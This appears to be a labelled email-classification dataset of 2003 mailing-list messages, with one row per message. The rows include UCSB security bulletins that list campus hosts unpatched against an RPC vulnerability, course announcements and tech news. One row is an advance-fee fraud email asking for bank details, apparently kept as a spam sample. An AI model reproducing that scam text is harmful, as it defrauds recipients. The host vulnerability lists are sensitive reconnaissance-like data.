[KB823980 Patched, KB824146 Vulnerable] 128.111.181.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.84 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.99 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.195.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.9 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.34 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.71 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.227.181 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.7 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.247.250 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.253.152 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 45 RPCSS Vulnerable ............................. 53 DCOM Disabled ................................ 65 Not Vulnerable ............................... 3409 Errors ....................................... 14 TCP Port 135 Closed or Host Timeout .......... 61995 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 Patrick Morris ,"""Morris, Pat"" ","Thu, 30 Oct 2003 09:53:33 -0800",IRU drift in IRS_L,"Pat, Carl, Keven, I've taken a first look at some of the IRU events in campaign IRS_L. Plots are attached. Radial_offset_41500.pdf: This is the standard plot of the radial difference between the IRU-only attitude estimate and the Observer-B attitude estimate. From a top-level perspective, this looks pretty darn good: - Less than 0.6 arcsec of drift in the first 1800 second window - Less than 0.6 arcsec in the subsequent 900 second window - About 0.4 arcsec in the third 900 second window On a finer scale, the short-term variation in the rate bias is obvious. Simply eyeballing, I find the worst rate bias error in this data to be about 3 masec/sec, and the worst rate-of-change of the rate bias error to be about 4.5 masec/sec over a 100 second interval (in the pitch component, from 43140 to 43240). As in prior datasets, the pitch variability is significantly higher than the yaw variability. Looking at the integrated report, I did see a problem with the commanding. I'd like to know if this was intentional or not. There are two PCS_GYRO_UPDATE commands during this one-hour test, one after the second window and one after the third window. Neither of these was preceded by the required minimum 105 second inertial hold IN AN OBSERVER-BASED ATTITUDE MODE. Attitude determination was left in IRU_ONLY mode for the entire hour of the test. This means that the PCS_GYRO_UPDATE commands did essentially nothing toward correcting the rate biases. Radial_offset_47000.pdf: This is a stretch of data in INC_B attitude determination. I'm highlighting this particular stretch of time because it contains the single highest rate bias error in the entire campaign: The 6.8 masec/sec drift at 47880 seconds. More on this below. Rate_bias_error.pdf: This plot shows the uncalibrated portion of the rate bias for all IRU_based inertial holds throughout the entire IRS_L campaign. The worst bais error is the 6.8 masec/sec error following slew #203. This error is almost entirely in pitch (-6.8 masec/sec pitch). The slews to either side of this one both had positive pitch bias errors (+2.9 and +2.1 masec/sec, respectively), meaning that the pitch bias error changed by just under 10 masec/sec between two consecutive inertial holds. Incremental_offset_error.pdf: This is the usual incremental offset error plot. Worst-case error here is nearly 1 arcsec. Take this plot with a grain of salt - my automated processing algorithm is mis-identifying a few PCS_ATT_RESETS as incremental offsets. I need to clean go back and scrub this plot to identify which of the peaks are mis-identified attitude resets. Dan <> <> <> <>",0,0 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Thu, 30 Oct 2003 12:37:38 -0600",change in office hours next week.,"CS352hers - I am cancelling my Tuesday office hours next week and replacing them with office hours Monday 1-2:30 in Painter 5.36B (same place). I also have office hours next week Wednesday 1-2:30. Good luck studying for the test! Thanks, Jenn Sartor CS352h TA ",0,0 ,,,,"(8.9.1/8.9.1) with ESMTP id QAA17511 for ; Thu, 30 Oct 2003 16:34:30 -0800 (PST) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id QAA30508 for ; Thu, 30 Oct 2003 16:34:30 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AFNFF-000ADF-KN; Thu, 30 Oct 2003 16:34:29 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AFNFD-000ADA-Vj for csf@ucsb.edu; Thu, 30 Oct 2003 16:34:27 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AFNFD-000AD6-QL for csf@ucsb.edu; Thu, 30 Oct 2003 16:34:27 -0800 Message-ID: <3FA1AE10.1080306@UCSB.edu> Date: Thu, 30 Oct 2003 16:34:24 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031027 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: csf@ucsb.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [CSF] Blocked Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *1AFNFF-000ADF-KN*HVGk/4HmLMQ* Hello, Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Filtered Hosts (from http://noc.ucsb.edu/~shaber/filtered/filtered.html) 128.111.9.206 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.82 theomac.crss.ucsb.edu 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 128.111.103.21 otter.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.156 host108-156.lsdepts.ucsb.edu 128.111.108.164 host108-164.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.110.233 128.111.138.160 128.111.142.170 128.111.142.208 128.111.159.150 128.111.161.6 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.229.220 128.111.229.229 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.62 128.111.247.63 *** Statistics *** Filtered Hosts ............................... 43 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 30 Oct 2003 18:02:47 -0600",calculator," Folks, I found a calculator in the classroom that was left after lecture this morning. If you think it is yours, let me know. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Mon, 03 Nov 2003 14:22:42 -0600",class tomorrow," CS352h-ers, In lecture tomorrow, I'll have some time for review questions for the exam on Thursday. Please come prepared with questions. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 James Colby Kraybill ,linuxusers@celestial.Berkeley.EDU,"Tue, 04 Nov 2003 13:01:57 -0800",Red Hat Linux end-of-life update and transition planning (fwd),"I'm not entirely sure what this really means for heavy users of redhat out there... ---------- Forwarded message ---------- Date: Mon, 3 Nov 2003 12:38:47 -0500 From: Red Hat Network To: cgwon@astro.umd.edu Subject: Red Hat Linux end-of-life update and transition planning Dear cgwon, Thank you for being a Red Hat Network customer. This e-mail provides you with important information about the upcoming discontinuation of Red Hat Linux, and resources to assist you with your migration to another Red Hat solution. As previously communicated, Red Hat will discontinue maintenance and errata support for Red Hat Linux 7.1, 7.2, 7.3 and 8.0 as of December 31, 2003. Red Hat will discontinue maintenance and errata support for Red Hat Linux 9 as of April 30, 2004. Red Hat does not plan to release another product in the Red Hat Linux line. With the recent announcement of Red Hat Enterprise Linux v.3, you'll find migrating to Enterprise Linux appealing. We understand that transitioning to another Red Hat solution requires careful planning and implementation. We have created a migration plan for Red Hat Network customers to help make the transition as simple and seamless as possible. Details: **************** If you purchase Red Hat Enterprise Linux WS or ES Basic before February 28, 2004, you will receive 50% off the price for two years.[*] (That's two years for the price of one.) **************** In addition, we have created a Red Hat Linux Migration Resource Center to address your migration planning and other questions, such as: * What are best practices for implementing the migration to Red Hat Enterprise Linux? * Are there other migration alternatives? * How do I purchase Red Hat Enterprise Linux WS or ES Basic at the price above? * What if my paid subscription to RHN extends past April 30, 2004? **************** Find out more about your migration options with product comparisons, whitepapers and documentation at the Red Hat Linux Migration Resource Center: http://www.redhat.com/solutions/migration/rhl/rhn Or read the FAQ written especially for Red Hat Network customers: https://rhn.redhat.com/help/rhlmigrationfaq/ Sincerely, Red Hat, Inc. [*] Limit 10 units. Higher volume purchase inquiries should contact a regional Red Hat sales representative. Contact numbers available at http://www.redhat.com/solutions/migration/rhl/rhn --the Red Hat Network Team Account Information: Your RHN login: cgwon Your RHN email address: cgwon@astro.umd.edu",0,1 James Colby Kraybill ,linuxusers@celestial.Berkeley.EDU,"Tue, 04 Nov 2003 18:56:28 -0800",Novell Acquires SuSE Linux," http://arstechnica.com/archive/news/1067975655.html http://www.novell.com/news/press/archive/2003/11/pr03069.html ""Novell announced its acquisition of SUSE for US$210 million in cash on Tuesday, marking another step in Novell's effort to transform itself into a ""Linux company."" The deal includes a US$50 million investment by IBM, which was involved with SUSE in prior deals regarding IBM's software and server hardware."" ... - Colby --------------------------------------------------------------------- James Colby Kraybill Radio Astronomy Laboratory colby@astro.berkeley.edu University of California, Berkeley ",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Wed, 05 Nov 2003 16:08:57 -0600",exam," CS352h-ers, Just as a reminder - you can bring a non-programmable calculator and a single sheet (8 1/2x11) of notes for tomorrow's exam. See you tomorrow. Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id LAA06461 for ; Thu, 6 Nov 2003 11:30:41 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id LAA16131 for ; Thu, 6 Nov 2003 11:30:41 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 1AHpq2-000BJG-Sg; Thu, 06 Nov 2003 11:30:38 -0800 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 1AHppw-000BJ1-3e; Thu, 06 Nov 2003 11:30:32 -0800 Received: from security3.oit.ucsb.edu ([128.111.12.28] helo=UCSB.edu) by smtp.ucsb.edu with asmtp TLSv1:AES256-SHA:256 id 1AHppt-000BIv-Lw; Thu, 06 Nov 2003 11:30:29 -0800 Message-ID: <3FAAA153.8050007@UCSB.edu> Date: Thu, 06 Nov 2003 11:30:27 -0800 From: E. Todd Atkins User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.5) Gecko/20031027 Thunderbird/0.3 X-Accept-Language: en-us, en MIME-Version: 1.0 To: security-microsoft@ucsb.edu, csf@ucsb.edu Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score-ucsb.edu: 0.0 (/) X-Spam-Score-ucsb.edu: 0.0 (/) Subject: [CSF] Blocked Hosts (and those to be blocked soon) X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Spam-Score-ucsb.edu: 0.0 (/) Hello, You can find a ""blocked hosts"" list as well as a ""unpatched hosts"" lists further down in this message. Hosts that have been on the ""unpatched hosts"" list for more than one week will eventually be blocked in order to prevent their involvement in any new security incidents. We felt compelled to do this because patches for these vulnerabilities have been available for quite some time, hosts in our domain are being scanned for these vulnerabilities by potential intruders, and system compromises have occurred due to lack of patching. Here is what you need to do if your host is in the ""blocked hosts"" list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. If you are not the NOC's official network contact for the address(es), then be sure to CC that person. If you decide to simply reply to this message, please do *not* include the complete lists of IPs. Please just include the IP(s) that you are writing to us about. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts (from http://noc.ucsb.edu/~shaber/filtered/filtered.html) *** 128.111.9.206 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.20.52 dhcp20-52.wirelesstest.ucsb.edu 128.111.29.20 meppc1.engr.ucsb.edu 128.111.29.25 meppc6.engr.ucsb.edu 128.111.29.26 128.111.29.39 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.34.120 helix.mee.ucsb.edu 128.111.56.235 zuki.ece.ucsb.edu 128.111.57.44 starbucks.ece.ucsb.edu 128.111.58.215 srpan.ece.ucsb.edu 128.111.68.248 128.111.72.47 dahlehpc-3.mee.ucsb.edu 128.111.72.143 plank.mee.ucsb.edu 128.111.74.85 davidmac.materials.ucsb.edu 128.111.74.249 128.111.77.107 das.crss.ucsb.edu 128.111.81.36 pulse.ucen.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.140 peleg.chemengr.ucsb.edu 128.111.92.216 128.111.103.21 otter.opl.ucsb.edu 128.111.103.24 penguin.opl.ucsb.edu 128.111.103.29 trout.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.104.172 keyhole.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.108.49 slicks.geol.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.138.160 128.111.159.150 128.111.161.6 128.111.164.202 snake.mee.ucsb.edu 128.111.164.209 turtle.mee.ucsb.edu 128.111.220.158 snoopy.nceas.ucsb.edu 128.111.229.220 128.111.229.229 128.111.234.239 sylvey.geog.ucsb.edu 128.111.247.7 128.111.247.62 128.111.247.63 128.111.247.250 *** Unpatched hosts *** 128.111.9.244 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.32.251 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.186 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.179 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.71.94 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.206 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.33 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.75.122 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.127 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.76.49 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.30 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.28 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.180.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.207 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.195 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.216 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.182.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.223 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.184.99 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.10 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.197.40 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.198.206 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.202.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.227.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.242.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.248.124 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.248.173 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.67 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 47 RPCSS Vulnerable ............................. 42 DCOM Disabled ................................ 66 Not Vulnerable ............................... 3542 Errors ....................................... 9 TCP Port 135 Closed or Host Timeout .......... 61876 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Thu, 06 Nov 2003 12:52:55 -0600",Summer research opportunities," CS352h-ers, I wanted to let you know about a workshop on Summer Undergraduate Research that is taking place Tomorrow afternoon (Nov. 7). The on-line flyer is here: http://www.utexas.edu/cons/urp/ And you can register here: http://www.utexas.edu/cons/urp/workshopregistration Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ",0,1 """dr. hanson"" ",XXXXXXXX@XXXXXX.XXXXXXX.XXX,"Sat, 08 Nov 2003 18:46:09 -0500",URGENT FROM DR. HANSON,"FROM :MR. HANSON MARK. 140GC2 :IKOM ROAD. BAKASSI PENINSULA. ..................................................... (URGENT FUND TRANSFER) HELLO DEAR, IN ORDER TO TRANSFER OUT (USD 26 MILLION DOLLARS) FROM OUR BANK. I HAVE THE COURAGE TO ASK YOU TO LOOK FOR A RELIABLE AND HONEST PERSON WHO WILL BE CAPABLE FOR THIS IMPORTANT BUSINESS BELIEVING THAT YOU WILL NEVER LET ME DOWN EITHER NOW OR IN FUTURE. I AM MR.HANSON MARK, THAN THE EASTERN DISTRICT BANK MANAGER OF UNITED BANK FOR AFRICA PLC. (UBA). THERE IS AN ACCOUNT OPENED IN THIS BANK IN 1980 AND SINCE 1990 NOBODY HAS OPERATED ON THIS ACCOUNT AGAIN. AFTER GOING THROUGH SOME OLD FILES IN THE RECORDS I DISCOVERED THAT IF I DO NOT REMITT THIS MONEY OUT URGENTLY ITWILL BE FORFEITED FOR NOTHING. THE OWNER OF THIS ACCOUNT IS MR. SMITH B. ANDREAS, A FOREIGNER, AND THE MANAGER OF PETRO - TECHNICAL SUPPORT SERVICES, A CHEMICAL ENGINEER BY PROFESSION AND HE DIED SINCE 1990. NO OTHER PERSON KNOWS ABOUT THIS ACCOUNT OR ANY THING CONCERNING IT, THE ACCOUNT HAS NO OTHER BENEFICIARY AND MY INVESTIGATION PROVED TO ME AS WELL THAT THIS COMPANY DOES NOT KNOW ANYTHING ABOUT THIS ACCOUNT AND THE AMOUNT INVOLVED IS (USD 26 MILLION DOLLARS). I WANT TO TRANSFER THIS MONEY INTO A SAFE FOREIGNERS ACCOUNT ABROAD BUT I DON'T KNOW ANY FOREIGNER, I AM ONLY CONTACTING YOU AS A FOREIGNER BECAUSE THIS MONEY CAN NOT BE APPROVED TO A LOCAL BANK HERE, BUT CAN ONLY BE APPROVED TO ANY FOREIGN ACCOUNT BECAUSE THE MONEY IS IN US DOLLARS AND THE FORMER OWNER OF THE ACCOUNT IS MR. SMITH B. ANDREAS IS A FOREIGNER TOO. I KNOW THAT THIS MASSAGE WILL COME TO YOU AS A SURPRISE AS WE DON'T KNOW OUR SELVES BEFORE, BUT BE SURE THAT IT IS REAL AND A GENUINE BUSINESS. I ONLY GOT YOUR CONTACT ADDRESS FROM THE COMPUTER ,WITH BELIEVE IN GOD THAT YOU WILL NEVER LET ME DOWN IN THIS BUSINESS YOU ARE THE ONLY PERSON THAT I HAVE CONTACTED IN THIS BUSINESS, SO PLEASE REPLY URGENTLY SO THAT I WILL INFORM YOU THE NEXT STEP TO TAKE URGENTLY. SEND ALSO YOUR PRIVATE TELEPHONE AND FAX NUMBER INCLUDING THE FULL DETAILS OF THE ACCOUNT TO BE USED FOR THE DEPOSIT. NOTE THAT AN EMPTY ACCOUNT CAN SERVE AS LONG AS IT CAN RECIEVE FUNDS. I WANT US TO MEET FACE TO FACE OR SIGN A BINDING AGREEMENT TO BIND US TOGETHER SO THAT YOU CAN RECIEVE THIS MONEY INTO A FORIEGN ACCOUNT OR ANY ACCOUNT OF YOUR CHOICE WHERE THE FUND WILL BE SAFE. AND I WILL FLY TO YOUR COUNTRY FOR ITHDRAWAL AND SHARING AND OTHER INVESTMENTS. I AM CONTACTING YOU BECAUSE OF THE NEED TO INVOLVE A FOREIGNER WITH FOREIGN ACCOUNT AND FOREIGN BENEFICIARY. I NEED YOUR FULL CO-OPERATION TO MAKE THIS WORK FINE. BECAUSE THE MANAGEMENT IS READY TO APPROVE THIS PAYMENT TO ANY FOREIGNER WHO HAS CORRECT INFORMATION OF THIS ACCOUNT, WHICH I WILL GIVE TO YOU LATER AS SOON AS YOU EXPRESS YOUR INTEREST TO DO THIS BUSINES WITH ME, IF YOU ARE ABLE AND WITH CAPABILITY TO HANDLE SUCH AMOUNT IN STRICT CONFIDENCE AND TRUST ACCORDING TO MY INSTRUCTIONS AND ADVICE FOR OUR MUTUAL BENEFIT BECAUSE THIS OPPORTUNITY WILL NEVER COME AGAIN IN MY LIFE. I NEED TRUTHFUL PERSON IN THIS BUSINESS BECAUSE I DON'T WANT TO MAKE MISTAKE I NEED YOUR STRONG ASSURANCE AND TRUST. WITH MY POSITION NOW IN THE OFFICE I CAN TRANSFER THIS MONEY TO ANY FOREIGNER'S RELIABLE ACCOUNT WHICH YOU CAN PROVIDE WITH ASSURANCE THAT THIS MONEY WILL BE INTACT PENDING MY PHYSICAL ARRIVAL IN YOUR COUNTRY FOR SHARING. I WILL DESTROY ALL DOCUMENTS OF TRANSACTION EMMEDIATELY WE RECIEVE THIS MONEY LEAVING NO TRACE TO ANY PLACE. YOU CAN ALSO COME TO DISCUSS WITH ME FACE TO FACE AFTER WHICH I WILL MAKE THIS REMITTANCE IN YOUR PRESENCE AND TWO OF US WILL FLY TO YOUR COUNTRY AT LEAST TWO DAYS AHEAD OF THE MONEY GOING INTO THE ACCOUNT. I WILL APPLY FOR ANNUAL LEAVE TO GET VISA MMEDIATELY I HEAR FROM YOU THAT YOU ARE READY TO ACT AND RECEIVE THIS FUND IN YOUR ACCOUNT. I WILL USE MY POSITION AND INFLUENCE TO EFFECT LEGAL APPROVALS AND ONWARD TRASFER OF THIS MONEY TO YOUR ACCOUNT WITH PPROPRIATE CLEARANCE FORMS OF THE MINISTRIES AND FOREIGN EXCHANGE DEPARTMENTS. AT THE CONCLUSION OF THIS BUSINESS, YOU WILL BE GIVEN 35% OF THE TOTAL AMOUNT, 60% WILL BE FOR ME, WHILE 5% WILL BE FOR EXPENSES BOTH PARTIES MIGHT HAVE INCURED DURING THE PROCESS OF TRANSFERING. I LOOK FORWARD TO YOUR EARLIEST REPLY THROUGH THIS MY PRIVATE EMAIL:hanson_ttttt@hotmail.com YOURS TRULY. MR. HANSON MARK. ______________________________________________________________________ Post your free ad now! XXXX://personals.yahoo.ca ",1,0 """Jennifer B. Sartor"" ",cs352h@lists.cc.utexas.edu,"Sun, 09 Nov 2003 23:27:13 -0600",lc35 assembly tests,"CS352hers - I put up a webpage of all the test cases for the lc35 datapath that you guys turned in for #5 on hw4. It is linked off the homework webpage under the project description: http://www.cs.utexas.edu/users/skeckler/cs352h/homework/lc35pipeline_tests.html You guys can check out each other's tests and use them to test your pipelined datapath for the project. Remember to put headers on your assembly programs in the future with a detailed description of the test, as well as authors, etc. Enjoy, Jenn Sartor CS352h TA ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id NAA20853 for ; Mon, 10 Nov 2003 13:26:08 -0800 (PST) Received: from ucsb.edu (hub.ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id NAA01415 for ; Mon, 10 Nov 2003 13:26:08 -0800 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with 